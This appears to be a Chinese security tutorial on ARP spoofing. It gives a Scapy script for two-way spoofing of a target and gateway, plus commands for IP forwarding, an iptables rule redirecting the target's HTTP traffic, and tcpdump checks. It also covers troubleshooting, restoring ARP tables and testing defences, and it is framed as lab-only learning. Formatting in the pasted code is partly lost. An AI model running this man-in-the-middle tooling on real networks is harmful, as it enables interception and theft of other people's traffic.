ARP欺骗原理与Python实现:从Scapy脚本到中间人攻击实战

发布时间:2026/10/5 9:52:35
ARP欺骗原理与Python实现:从Scapy脚本到中间人攻击实战 简介面向网络学习者、安全爱好者和高校学生的ARP欺骗源代码压缩包基于C实现完整演示如何构造与发送伪造ARP应答篡改IP到MAC的映射关系从而深入理解局域网环境中中间人攻击的底层机制。整个压缩包内共10个文件核心为arp.cpp源码配合Packet32.h、DEVIOCTL.H两个头文件以及Packet.lib、WS2_32.LIB两个库文件可在Visual Studio环境中直接编译调试dsp/dsw为工程文件ncb/opt/plg等为辅助配置便于还原作者调试环境方便逐行跟进。整体压缩包仅23KB结构紧凑适合快速研读。截至当前已有177人学习下载。通过阅读代码可掌握ARP请求/应答收发流程、欺骗报文构造细节以及基于libpcap的抓包思路也能为排查局域网ARP攻击、设计静态ARP表等防御方案提供参考兼顾网络协议学习与C工程实践是高校网络课程设计或安全实验的入门素材。1. 当你在网上找到一个叫 arp.rar 的压缩包里面装的到底是什么不少刚接触网络安全的朋友都会在某个技术群或者网盘里看到“arp.rar_arp欺骗代码”这样的文件。下载下来解压里面往往是一个用 Python、C 或者 Scapy 写的 ARP 欺骗脚本能在局域网上把某个主机的流量“骗”到自己机器上。别急着激动——这玩意儿不是用来干坏事的真正的用途是网络调试、协议分析、渗透测试练习以及验证你自己写的网络程序有没有做好防欺骗机制。GNS3 里两台路由器接主机、分析 IP 数据转发或者做报文抓包时ARP 欺骗就是最常见的中间人模拟手段。这篇笔记我把 ARP 欺骗的原理、代码实现、参数调整和踩坑记录完整写下来。适合两类人一类是初学者想跑通第一个 ARP 欺骗脚本理解它在局域网里究竟做了什么另一类是有经验的网络工程师想拿它做内网拓扑验证、排查网关冲突或者给自己写的防御脚本喂点真实攻击样本。不管哪类我都默认你是在自己控制的实验环境里操作别拿去做任何没授权的事。下面先从协议本身讲起否则代码跑通了也不知道自己在干什么。2. ARP 协议原理为什么一条广播就能让主机“认错人”2.1 从 ARP 包格式看欺骗的本质ARPAddress Resolution Protocol做的事很简单已知目标 IP问“这个 IP 的 MAC 地址是谁”。它工作在数据链路层和网络层之间报文格式固定一共 28 字节不含以太网头。关键是这几个字段硬件类型1 表示以太网、协议类型0x0800 表示 IPv4、硬件地址长度6、协议地址长度4、操作码1 请求2 应答、发送方 MAC、发送方 IP、目标 MAC、目标 IP。一个正常的 ARP 请求包发送方 MAC 是自己的网卡地址目标 MAC 是 00:00:00:00:00:00收到请求的主机发现目标 IP 是自己就回一个 ARP 应答把自己的 MAC 填在发送方 MAC 字段里。到这里一切正常。但 ARP 协议设计时没有验证机制——任何一台主机都能直接发送“ARP 应答”而且接收方收到应答后会直接把里面的 IP-MAC 映射更新到自己的 ARP 缓存表里不管它有没有发过请求。这就是欺骗的根源。# 查看 Linux 主机的 ARP 缓存表确认一下当前映射关系 ip neigh show这个命令输出里的192.168.1.1 dev eth0 lladdr 00:11:22:33:44:55 REACHABLE就是缓存条目。REACHABLE 状态表示最近通信过如果过一段时间没有数据会变 STALE。欺骗脚本要做的就是不断用伪造应答把这条缓存里的 MAC 改成攻击者的 MAC。2.2 为什么缓存机制是双刃剑ARP 缓存原本是为了减少广播风暴主机记住别人的 IP-MAC 映射后下次直接单播通信不再发广播请求。但也正因为缓存要持续更新协议才会无条件接受任何应答包。Linux 内核里有个参数arp_accept默认是 0表示只接受对请求的应答但很多场景下比如同一网段的 gratuitous ARP主机还是会更新。Windows 的行为更激进收到任何 ARP 应答都会刷新缓存。我的经验是做实验前先用arp -dWindows或ip neigh flush allLinux把缓存清一遍这样你的欺骗效果表现得更干净。不清理也行但因为缓存里已经有真实网关的 MAC欺骗脚本需要多跑几秒才能覆盖掉旧条目初看会以为脚本没生效。2.3 ARP 欺骗的两类角色中间人和网关冒充最常见的场景是双向欺骗你骗主机 A说“网关的 MAC 是我”再骗网关说“主机 A 的 MAC 是我”。这样 A 发给网关的流量会先到你网关发给 A 的流量也会先到你。你机器上开 IP 转发就能看到完整双向流量这就是标准的中间人位置。还有一种更简单的单向欺骗只冒充网关骗目标是“我就是网关”。这时候目标访问外网的请求会发给你但你没有转发的话目标就断网了。有些测试场景就需要这种“断网效果”来验证交换机端口安全策略是否有用。注意单向欺骗不需要开 IP 转发但对目标的影响更明显容易被发现。3. 用 Python 实现一个可用的 ARP 欺骗代码最小脚本与逐行拆解3.1 环境准备Scapy 和抓包工具二选一最常见的 ARP 欺骗代码是用 Python 的 Scapy 库写的。原因很简单Scapy 封装了 ARP 和以太网帧的构造你不用手动拼字节。安装方式pip install scapy如果你抓包用了 Wireshark后面验证欺骗报文时可以直接看链路层内容。这里有个容易犯的错Wireshark 查看 ARP 报文时只看“Address Resolution Protocol”那一层就够了不用看下面的 Ethernet II 层但如果你要修改源 MAC就两个层都要看。3.2 最小双向欺骗代码30 行跑通下面这段代码我按“可复制、可调参数、注释清楚”的标准写过很多次适用于 Linux 实验环境。Windows 下注意网卡名要改成以太网或WLAN另外杀毒软件会拦 Scapy 的原始套接字最好关掉或加白名单。#!/usr/bin/env python3 # arp_spoof_demo.py # 仅限实验室环境使用用途验证 ARP 协议脆弱性、测试 NDR 告警规则 from scapy.all import Ether, ARP, sendp, getmacbyip, conf import time import sys def spoof(target_ip, gateway_ip, iface): 双向欺骗 1. 构造发往 target 的 ARP 应答告诉他 gateway 的 MAC 是我们自己 2. 构造发往 gateway 的 ARP 应答告诉他 target 的 MAC 是我们自己 # 获取本机 MAC不能写死多网卡机器写死必翻车 self_mac get_if_hwaddr(iface) target_mac getmacbyip(target_ip) if not target_mac: print(f[!] 无法获取 {target_ip} 的 MAC先 ping 一下再试) sys.exit(1) gateway_mac getmacbyip(gateway_ip) if not gateway_mac: print(f[!] 无法获取网关 {gateway_ip} 的 MAC请检查连通性) sys.exit(1) # 发给 target 的包源 IP 是网关源 MAC 是本机 ether_target Ether(dsttarget_mac) arp_target ARP(op2, hwsrcself_mac, psrcgateway_ip, hwdsttarget_mac, pdsttarget_ip) # 发给 gateway 的包源 IP 是 target源 MAC 是本机 ether_gateway Ether(dstgateway_mac) arp_gateway ARP(op2, hwsrcself_mac, psrctarget_ip, hwdstgateway_mac, pdstgateway_ip) print(f[*] 初始化完成目标 {target_ip} - 网关 {gateway_ip}) print(f[*] 本机 MAC {self_mac}按 CtrlC 停止并恢复 ARP……) try: # 持续发送因为目标会主动刷新/请求只发一次很容易被覆盖 while True: sendp(ether_target/arp_target, ifaceiface, verboseFalse) sendp(ether_gateway/arp_gateway, ifaceiface, verboseFalse) time.sleep(2) # 2 秒一次兼顾效果与网络负载 except KeyboardInterrupt: # 恢复 ARP 表否则目标断网后管理员会立刻发现 restore(target_ip, gateway_ip, target_mac, gateway_mac, iface) def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface): 发送真实的 ARP 包恢复映射相当于给目标吃后悔药 self_mac get_if_hwaddr(iface) # 告诉 target网关真实 MAC 是什么 sendp(Ether(dsttarget_mac)/ARP(op2, hwsrcgateway_mac, psrcgateway_ip, hwdsttarget_mac, pdsttarget_ip), ifaceiface) # 告诉 gatewaytarget 真实 MAC 是什么 sendp(Ether(dstgateway_mac)/ARP(op2, hwsrctarget_mac, psrctarget_ip, hwdstgateway_mac, pdstgateway_ip), ifaceiface) print([*] ARP 表已恢复) if __name__ __main__: if len(sys.argv) ! 4: print(用法: python arp_spoof_demo.py 目标IP 网关IP 网卡名) print(示例: python arp_spoof_demo.py 192.168.1.100 192.168.1.1 eth0) sys.exit(1) spoof(sys.argv[1], sys.argv[2], sys.argv[3])这段代码里有几个关键点。第一get_if_hwaddr必须动态获取本机 MAC不能写死在代码里因为不同测试机器网卡不同第二getmacbyip返回的是 MAC 地址字符串如果目标关机或者不在线它返回None脚本会直接退出不会空发第三sendp发送的是二层数据帧conf.iface如果设置过这里的iface参数会覆盖它。3.3 参数怎么调发送频率和恢复机制time.sleep(2)这是经验值。有些代码写0.1秒发一次效果确实更稳但会显著增加局域网广播压力严重时交换机端口会被 MAC 刷新搞出告警。2 秒一次是我在百台规模环境里调出来的底线既能覆盖目标的缓存更新ARP 缓存超时通常是 30 秒到 3 分钟又不会让流量异常得太明显。另一个重要参数是op2。ARP 操作码 1 是请求2 是应答。欺骗时必须用 2因为接收方只处理应答包。如果你写上op1目标主机会认为是一次请求大概率会响应你但不会修改它自己的缓存表——这是新手最容易翻车的地方。3.4 抓包验证怎样确定欺骗真的生效了脚本跑起来之后在攻击机运行脚本的机器上开 Wireshark抓arp过滤条件你应该看到持续刷新的应答包源 MAC 全是本机。接着在目标机上开 Wireshark或者用arp -a查缓存看网关 IP 对应的 MAC 是否变成了攻击机的 MAC。这边有个案例我在 GNS3 里搭过两台路由器分别接两个主机然后跑这个脚本Wireshark 里看到的报文顺序是——目标主机会先发一个 ARP 请求“网关在哪”紧接着攻击机的应答包到达整个顺序和真正网关的应答顺序几乎一样只是源 MAC 不同。这说明欺骗的本质就是“抢答”而你只要持续抢答目标就会信你。4. 把 ARP 欺骗代码跑出花双向转发、蜜罐模拟和与防火墙的配合4.1 开启 IP 转发才能看到双向流量很多人在实验时只跑了欺骗脚本然后发现目标能上网但自己抓不到包。原因是 Linux 默认ip_forward0数据包到你这里就被丢掉了。这时候需要开启转发echo 1 /proc/sys/net/ipv4/ip_forward注意这只是当前会话生效重启失效。想永久开启就改/etc/sysctl.conf加一行net.ipv4.ip_forward 1然后sysctl -p。开启转发后目标访问外网的流量会先进你机器路由表再把它扔到网关响应的数据包回来时也会经过你——这时你再抓包就能看到完整的 TCP 连接。4.2 用 iptables 做流量篡改和记录有时候你不想只当个透明转发器。比如测试某个应用是否校验 MAC 地址你就可以在攻击机上写 iptables 规则只放行目标的 HTTP 流量到自己的代理端口其他流量正常转发iptables -t nat -A PREROUTING -p tcp --dport 80 -d 192.168.1.100 -j DNAT --to-destination 192.168.1.55:8080这条规则的意思是凡是目标是 192.168.1.100 的 80 端口流量全部 DNAT 到攻击机的 8080 端口。这里要求攻击机 IP 是 192.168.1.55。这样做的好处是你不用改目标机的任何配置骗完流量后直接在本地用 Burp Suite 或者 tcpdump 分析。坏处是如果你只是想抓包加 DNAT 可能会让目标应用出现证书错误得看应用能不能容忍。4.3 结合 RAR 压缩包场景代码密码与伪加密的坑网上下载的 arp.rar 经常是加密的。有的用了 RAR 伪加密技术——文件头部的加密标志被置位但实际内容没加密用 Hex 编辑器改回标志位或者用 RAR 密码移除工具就能直接解出代码有的则真加密得用暴力破解也就是热词里提到的 rar password cracker。我的建议是不管密码多容易解拿到任何 RAR 里的 arp 欺骗代码后先打开源码看一眼有没有恶意后门。尤其是那种号称“免杀版”“过检测版”的很可能在里面藏了挖矿或者 RAT 程序跑之前先在沙箱里用strings和virustotal过一遍。5. ARP 欺骗代码的常见翻车现场5 个必踩的坑及排查方法5.1 现象代码跑起来了但目标主机的 ARP 缓存就是不变原因绝大多数是目标主机的 ARP 防护机制在起作用比如 Windows 开启了ArpCheck或者安装了安全软件它会拒绝非请求的应答包。也可能是交换机端口安全策略把端口锁定为只允许一个 MAC欺骗包被丢弃。解决先确认目标主机类型。如果是 Windows用arp -a看缓存如果是 Linux直接ip neigh show。如果缓存一直没变抓包看攻击机发出的应答包有没有到达目标——在目标机上用 Wireshark 抓 ARP如果看不到应答包就是交换机在中间拦截了能看到但缓存不变就是主机安全软件的锅。5.2 现象欺骗成功一次过几十秒又失效原因是 ARP 缓存有老化时间目标主机会在缓存过期后重新发送 ARP 请求而真正的网关也会应答。你的脚本虽然每 2 秒发一个包的但有可能发送频率低于网关的应答频率或者脚本进程被系统调度卡顿错过了窗口。解决把发送间隔从 2 秒改成 1 秒同时用try...except捕获发送异常。另外检查脚本是不是单线程如果系统负载高sendp本身就会延迟可以考虑用多线程单独跑发包进程。5.3 现象目标能上网但攻击机访问网关时断时续原因很典型——你同时欺骗了网关和目标但你的攻击机自己访问网关时也会收到自己发出去的伪造应答。某些网卡驱动会更新自己的 ARP 缓存导致你把自己到网关的路径也搞坏了。解决在脚本开始时为本机网关 IP 设置静态 ARP 条目arp -s 192.168.1.1 00:11:22:33:44:55这样内核不会再接受 ARP 应答来更新这个条目。注意在 Linux 上arp -s设置的条目会被 arp 命令本身覆盖更稳的是用ip neigh add 192.168.1.1 lladdr 00:11:22:33:44:55 nud permanent。5.4 现象欺骗脚本运行后目标主机直接断网这是一种常见情况尤其当你做单向欺骗而没有开启 IP 转发。目标主机的流量全部发到你的机器但你的内核没有转发能力于是包直接被丢掉。解决要么开启 IP 转发要么在做实验前明确你就是要模拟断网效果。还有种可能是你伪造的网关 MAC 是攻击机 MAC但攻击机和网关不在同一个 VLAN二层帧没法到网关也会断网。5.5 现象脚本在虚拟环境VMware/VirtualBox/GNS3里无效虚拟机的网卡默认工作在混杂模式但 VMware 的默认虚拟交换机可能做了 MAC 隔离。如果你用 NAT 模式跑欺骗目标虚拟机和网关都连在同一个虚拟 NAT 网段但 VMware 的 NAT 会拦截 ARP 广播导致你的欺骗包发不出去。解决把虚拟机的网络模式改成“桥接模式”或者用 GNS3 的交换机/路由器把攻击机和目标机拉到一个同一个二层域。实测下来GNS3 的虚拟以太网口对 ARP 的仿真比 VMware 更贴近真实交换机更适合实验。6. 进阶验证技巧如何判断你的 ARP 欺骗代码真的“成了”以及怎么善后6.1 三层验证法从缓存到报文到流量第一层验证看缓存。目标机上执行arp -a或ip neigh show找到网关 IP 对应的 MAC和攻击机 MAC 做对比。这个简单直接但有个缺点目标机可能会缓存多个 IP 的映射你得看清楚对应的是网关那个 IP。第二层验证看报文。在攻击机上抓 ARP 包过滤arp.opcode 2统计源 MAC 是不是全部是本机。如果出现别的 MAC说明你发的包被其他设备应答覆盖了欺骗不彻底。第三层验证看流量。在攻击机上用tcpdump -i eth0 host 目标IP如果能看到目标的 HTTP/DNS 请求包说明双向转发成功。这里注意如果你只开启了 IP 转发但没开启 Wireshark 的“混杂模式”也看不到别人的包。tcpdump -i eth0 -n -XX -vv -c 100 arp or (host 192.168.1.100 and not arp)这条命令同时抓 ARP 和目标主机通信的数据包-XX把链路层头也打印出来方便你确认 MAC 地址。在验证时一定要区分开“缓存被改了”和“流量经过你”这两件事——前者只是 ARP 表项被污染后者才能说明中间人位置成立。6.2 善后别让实验毁掉一台机器做 ARP 欺骗实验最怕的事情是实验结束目标机的 ARP 缓存还停留在攻击机 MAC 上。如果你的攻击机关机了目标机就断网了。所以我写的脚本里特意加了restore()函数用真正的网关 MAC 和目标机 MAC 重新发送应答把缓存恢复。但脚本里的 restore 依赖攻击机还能发包。如果攻击机蓝屏、断电或者脚本被 kill -9 强杀就无法自动恢复。我的习惯是实验前先把网关真实 MAC 记下来如果恢复失败就在目标机上手工执行arp -s 192.168.1.1 00:11:22:33:44:55Windows 上则用netsh interface ipv4 set neighbors 以太网 192.168.1.1 00-11-22-33-44-55。这一步是最后一道后悔药一定要写在笔记里。6.3 从代码到防御你可以拿这个脚本反向验证什么跑通 ARP 欺骗代码不是终点它真正有价值的用途是验证你的防御手段。比如你在交换机上配置了port-security或者arp anti-spoof条目把这个脚本跑起来看它是否能绕过又比如你在目标机上装了一个静态 ARP 监控脚本看它能不能在 2 秒内感知到缓存变化并告警。我个人踩过一个大坑在甲方做等保测评想演示 ARP 欺骗风险结果目标机装了 360把攻击包全部拦截演示没做成。后来我不跟安全软件较劲改成用 GNS3 做半实物仿真再配合 Wireshark 抓包给客户看。这个思路后来也成了我对外讲解 ARP 攻击的标准流程——先讲原理再跑仿真最后把真实环境里的防御配置摆出来。希望帮到你。本文还有配套的精品资源点击获取